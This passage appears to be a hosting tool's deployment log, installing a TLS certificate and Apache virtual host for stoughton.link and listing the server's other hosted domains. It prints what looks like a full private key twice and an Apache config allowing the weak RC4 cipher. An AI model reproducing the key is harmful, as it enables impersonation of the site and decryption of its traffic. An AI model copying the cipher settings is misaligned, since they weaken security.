900+NOnMdtDU1BsSp/2J+DOIJesCgYEAzc/CjMC21dgALhGxC2kQT1CewiaksKj0
Kkot3tbk0V6jrpPj/FEPpGAHA4jTkk4dH51NvCzkL4/3QDwRl/KuOtTbobrpEeuv
nkiTC5OCN5X9LAa7leQWdxNz6xSH1FANBJoqms2ILshzhUyDpUdcW8lh0UAYbkJ4
dkxJl9jRuasCfyudROGECAKTWU7mb75T/IQxKDN0ZEnt89DuAjnuWgTL7+sYXVhV
jtU9ZbHA0GIYml6WRRAOLBiqUNC5hoLpC7PToIJ7T2CkplmfuPbs+cDsz2b+qyUx
xMmw+ws9xOcwpNBcU3CQEEuSDOQQAMaAgDCX/oxtWCccgBhfe1cthDkCgYBwrIhf
FHZEVm+qyQa7L3a9ZW607gEFskmSCXBZah51PTGxNsf+78X3gJb2aWci1t782tqe
5Zi7LT74jKo5HKQkEzp2rWRB6l0H88WE9em5UsT64Gi8I9XktOKmVWQTaQvndBtV
Cqa+rgEIfh4oUwwOOA70RvnZC0z1vsgfeJVA5wKBgDnb949B6liDmulAzU3GThCv
5X9qYvkjUtROH+QUqg1e+qsGVdggQkseLvc1+C+nxGszBRKboFakQrr/JaYZuRK8
l1Pp4B57NKj7TBJRiFd4dU66fSBzsT6vxkdqppVLXdEDDObSeXr0Vf25auQkYMIF
GpLlNIangmCnFxeJAG4X
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-22 12:00:43:
chmod 755 /tmp/pkp532424; /tmp/pkp532424; rm /tmp/pkp532424
2025-12-22 12:00:43:
dir=/etc/ssl/certs
2025-12-22 12:00:43:
PUT: /tmp/pkp107804
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/stoughton_www_link.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-22 12:00:43:
chmod 755 /tmp/pkp107804; /tmp/pkp107804; rm /tmp/pkp107804
2025-12-22 12:00:43:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/stoughton_www_link.conf 42
<VirtualHost *:80>
ServerName stoughton.link
ServerAlias *.stoughton.link
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/stoughton_www
<Directory /var/www/stoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/stoughton/www_access.log combined
ErrorLog /var/log/apache2/stoughton/www_error.log
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
</VirtualHost>
<VirtualHost *:443>
ServerName stoughton.link
ServerAlias *.stoughton.link
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
DocumentRoot /var/www/stoughton_www
<Directory /var/www/stoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/stoughton/www_secure_access.log combined
ErrorLog /var/log/apache2/stoughton/www_secure_error.log
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-22 12:00:43:
PUT: /tmp/pkp216870
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=stoughton_www_link.conf
TARGET=/etc/apache2/sites-enabled/stoughton_www_link.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName stoughton.link
ServerAlias *.stoughton.link
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/stoughton_www
<Directory /var/www/stoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/stoughton/www_access.log combined
ErrorLog /var/log/apache2/stoughton/www_error.log
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
</VirtualHost>
<VirtualHost *:443>
ServerName stoughton.link
ServerAlias *.stoughton.link
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
DocumentRoot /var/www/stoughton_www
<Directory /var/www/stoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/stoughton/www_secure_access.log combined
ErrorLog /var/log/apache2/stoughton/www_secure_error.log
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/stoughton_www_link.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/stoughton_www_link.conf)= /etc/apache2//etc/apache2/sites-enabled/stoughton_www_link.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/stoughton_www_link.conf= 1'
fi
2025-12-22 12:00:43:
chmod 755 /tmp/pkp216870; /tmp/pkp216870; rm /tmp/pkp216870
2025-12-22 12:00:43:
2025-12-22 12:00:43:
PUT: /tmp/pkp201668
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-22 12:00:43:
chmod 755 /tmp/pkp201668; /tmp/pkp201668; rm /tmp/pkp201668
2025-12-22 12:00:44:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-22 12:00:44: Establishing a connection
2025-12-22 12:00:44:
PUT: /tmp/pkp589014
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-22 12:00:44:
chmod 755 /tmp/pkp589014; /tmp/pkp589014; rm /tmp/pkp589014
2025-12-22 12:00:44:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-22 12:00:44:
PUT: /tmp/pkp392158
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/stoughton_www_link.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-22 12:00:44:
chmod 755 /tmp/pkp392158; /tmp/pkp392158; rm /tmp/pkp392158
2025-12-22 12:00:44:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/stoughton_www_link.conf 1743
<VirtualHost *:80>
ServerName stoughton.link
ServerAlias *.stoughton.link
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/stoughton_www
<Directory /var/www/stoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/stoughton/www_access.log combined
ErrorLog /var/log/apache2/stoughton/www_error.log
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
</VirtualHost>
<VirtualHost *:443>
ServerName stoughton.link
ServerAlias *.stoughton.link
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
DocumentRoot /var/www/stoughton_www
<Directory /var/www/stoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/stoughton/www_secure_access.log combined
ErrorLog /var/log/apache2/stoughton/www_secure_error.log
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-22 12:00:44:
PUT: /tmp/pkp470128
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-22 12:00:44:
chmod 755 /tmp/pkp470128; /tmp/pkp470128; rm /tmp/pkp470128
2025-12-22 12:00:44:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt 5365
8a:f5:fc:a8:63:14:54:ac:f6:c4:cf:a6:bc:0d:fb:2f
-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBbZLtV8medbAyI8l4Ftpau4GMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjIyMTEwMjEyWhcNMjYwMzIyMTEwMjExWjAZMRcwFQYDVQQD
Ew5zdG91Z2h0b24ubGluazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMwCvUpasDnXATSukCwX6sFwmnN97njwU1l++ZM2usfjZG3/WTV+vvs2DpnT8FLm
7j+gLeRGxsPgg7wJ9M6iUv/nPMCBn6QvnM7UVaWTnyEXXx3Y93Ef7fOIMWntxM5h
ax4vjJJpvl0srF5k3NQdUbT4G19jwJlJvvnyQsRQBZoA3zuun8yIPv3Y6W766VJ5
762SjToT9k7D7GjO73ALt3IElDQW8iJ0N/f8jSz2DO0Zq9UQgLpEsEDB2GVFiPsB
J+5FNgmTRMW91uGfdy2PuXSfaxErtqopkbepK4DcCb9/eA5EUi9iJMhm3y7kYX6y
vV087YKeHjVpSg7YygwzJvkCAwEAAaOCAjEwggItMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUxGG2Xv9TCllreo1EeGmdXF9nL+EwHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnN0b3VnaHRvbi5saW5rgg5z
dG91Z2h0b24ubGluazATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKg
IKAehhxodHRwOi8vcjEyLmMubGVuY3Iub3JnLzcuY3JsMIIBBgYKKwYBBAHWeQIE
AgSB9wSB9ADyAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGb
Re7mEgAABAMASDBGAiEA3Fy11CMzocoH85LcAJG/8btSP8Muuu1mVAYi7w8rbe0C
IQDtIvctYiY3UOsPMWd5Q8eU9GlFpSf1c4DV87H3997axAB3AJaXZL9VWJet90OH
aDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABm0Xu5lUAAAQDAEgwRgIhAKKaPdzXxKk0
jhoV5klMNcUZbqvhPz/VMh0+7W/nVjuXAiEA/2I0xtLDcGQ4uN4t/Z9ZIv7CLCb7
/xjIrTeYNK8Svb8wDQYJKoZIhvcNAQELBQADggEBAAY+nWt/YlgeAdv9DFZVd9Yl
nlByuGS9uzUGUL3Z3Sb4I/Dxc1qTEjiWaMcEf4WZuedo0i6xBudwsuV71UegjAsS
aiRTukGV+MVeiazeWRswR50AUYWf/eYbT/HgG6e1TbrJT4qvi64dlsGkE6Pu2hP0
V0oucGfvSmYXX99R2WofjIJdrKld0lHU2Agvfl8jaZbLkNpHlprMXiNjwYavYK82
y3vAxF4cwmehmQFvB2SFLojmWy9eZJQBKAuQY+iW/1QbsRJTX43mKPR/gidbMSmz
cQd2LkldprwzZ5Vkw8CESFC765EVZScdbVqh0v3hdqM7U+g2bH3U0zFe9Ry73pY=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQDMAr1KWrA51wE0
rpAsF+rBcJpzfe548FNZfvmTNrrH42Rt/1k1fr77Ng6Z0/BS5u4/oC3kRsbD4IO8
CfTOolL/5zzAgZ+kL5zO1FWlk58hF18d2PdxH+3ziDFp7cTOYWseL4ySab5dLKxe
ZNzUHVG0+BtfY8CZSb758kLEUAWaAN87rp/MiD792Olu+ulSee+tko06E/ZOw+xo
zu9wC7dyBJQ0FvIidDf3/I0s9gztGavVEIC6RLBAwdhlRYj7ASfuRTYJk0TFvdbh
n3ctj7l0n2sRK7aqKZG3qSuA3Am/f3gORFIvYiTIZt8u5GF+sr1dPO2Cnh41aUoO
2MoMMyb5AgMBAAECggEBALn+QV8ZgRKqb0H9aBmbEH6dT2K9y/1cdVDhj13khrMY
IAacx1MbI7jZlsQt0ityuIEvYsd8s1f/R3rWxObiXLNLuTp0svu4IMj8Er1q8af0
q9YFacor5v+hChPeHxBdBpC1nv4ZA+HkiZ1hbWbA+C36CNKVmhDmiANOGArsPb8h
K2a8kdp6UqBKj72jVhbgsXVcFz24VfVQnj55tvp8VViVNwiLevIbIoyrc2xFpM2I
xzeV5LtnvWwbzBXQ75crzf+wVV+d9MtxWyITubOWDCOE1sl4Bq8z+2/EaI9V0+4F
uihVIXjekCvGSbSJ+zLFKWs9AR6+tB+BQPxVgIQ+LnUCgYEA/cKOhJDxms25gXLg
1ecn0n4ZjzH+gd5+hSHj0RqinfQbbrvUBBDj4buFb2uvVr/rb6ag3vuMhN98+mq1
vLea1oe8I4qWdBdugZex+CKPlrHTW/TGohyXK2dhXmHSS2YXS6mKeYi/LGq83b9h
900+NOnMdtDU1BsSp/2J+DOIJesCgYEAzc/CjMC21dgALhGxC2kQT1CewiaksKj0
Kkot3tbk0V6jrpPj/FEPpGAHA4jTkk4dH51NvCzkL4/3QDwRl/KuOtTbobrpEeuv
nkiTC5OCN5X9LAa7leQWdxNz6xSH1FANBJoqms2ILshzhUyDpUdcW8lh0UAYbkJ4
dkxJl9jRuasCfyudROGECAKTWU7mb75T/IQxKDN0ZEnt89DuAjnuWgTL7+sYXVhV
jtU9ZbHA0GIYml6WRRAOLBiqUNC5hoLpC7PToIJ7T2CkplmfuPbs+cDsz2b+qyUx
xMmw+ws9xOcwpNBcU3CQEEuSDOQQAMaAgDCX/oxtWCccgBhfe1cthDkCgYBwrIhf
FHZEVm+qyQa7L3a9ZW607gEFskmSCXBZah51PTGxNsf+78X3gJb2aWci1t782tqe
5Zi7LT74jKo5HKQkEzp2rWRB6l0H88WE9em5UsT64Gi8I9XktOKmVWQTaQvndBtV
Cqa+rgEIfh4oUwwOOA70RvnZC0z1vsgfeJVA5wKBgDnb949B6liDmulAzU3GThCv
5X9qYvkjUtROH+QUqg1e+qsGVdggQkseLvc1+C+nxGszBRKboFakQrr/JaYZuRK8
l1Pp4B57NKj7TBJRiFd4dU66fSBzsT6vxkdqppVLXdEDDObSeXr0Vf25auQkYMIF
GpLlNIangmCnFxeJAG4X
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
